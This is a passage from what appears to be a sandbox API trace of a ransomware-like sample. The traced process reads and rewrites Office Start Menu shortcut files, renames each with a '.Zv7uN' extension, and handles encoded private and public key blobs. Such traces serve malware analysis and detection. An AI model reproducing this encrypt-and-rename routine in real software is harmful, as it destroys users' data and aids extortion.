lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.014] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f46020*, nNumberOfBytesToWrite=0xba1, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f46020*, lpNumberOfBytesWritten=0x18f114*=0xba1, lpOverlapped=0x0) returned 1 [0134.016] CloseHandle (hObject=0x1dc) returned 1 [0134.016] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Digital Certificate for VBA Projects.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\digital certificate for vba projects.lnk.zv7un")) returned 1 [0134.017] GetCurrentThreadId () returned 0xa30 [0134.017] GetCurrentThreadId () returned 0xa30 [0134.017] GetCurrentThreadId () returned 0xa30 [0134.017] GetCurrentThreadId () returned 0xa30 [0134.017] GetCurrentThreadId () returned 0xa30 [0134.017] GetCurrentThreadId () returned 0xa30 [0134.017] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb65, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Clip Organizer.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0134.017] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.018] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.018] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1179de0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb65)) returned 1 [0134.019] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk")) returned 0x20 [0134.020] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk", dwFileAttributes=0x80) returned 1 [0134.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0134.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f2b28c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0134.023] GetCurrentThreadId () returned 0xa30 [0134.023] GetCurrentThreadId () returned 0xa30 [0134.023] GetCurrentThreadId () returned 0xa30 [0134.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0134.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f3c2ec, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0134.024] GetCurrentThreadId () returned 0xa30 [0134.024] GetCurrentThreadId () returned 0xa30 [0134.024] GetCurrentThreadId () returned 0xa30 [0134.024] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.024] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0134.024] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.024] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xb65 [0134.024] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.025] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f440f0, nNumberOfBytesToRead=0xb65, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f440f0*, lpNumberOfBytesRead=0x18f108*=0xb65, lpOverlapped=0x0) returned 1 [0134.029] CloseHandle (hObject=0x1dc) returned 1 [0134.029] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.031] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f46120*, nNumberOfBytesToWrite=0xb65, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f46120*, lpNumberOfBytesWritten=0x18f114*=0xb65, lpOverlapped=0x0) returned 1 [0134.033] CloseHandle (hObject=0x1dc) returned 1 [0134.033] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Clip Organizer.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft clip organizer.lnk.zv7un")) returned 1 [0134.035] GetCurrentThreadId () returned 0xa30 [0134.035] GetCurrentThreadId () returned 0xa30 [0134.035] GetCurrentThreadId () returned 0xa30 [0134.035] GetCurrentThreadId () returned 0xa30 [0134.035] GetCurrentThreadId () returned 0xa30 [0134.035] GetCurrentThreadId () returned 0xa30 [0134.035] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xabf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Office 2010 Language Preferences.lnk", cAlternateFileName="MICROS~4.LNK")) returned 1 [0134.035] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.035] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.035] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xabf)) returned 1 [0134.036] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office 2010 language preferences.lnk")) returned 0x20 [0134.036] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office 2010 Language Preferences.lnk", dwFileAttributes=0x80) returned 1 [0134.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 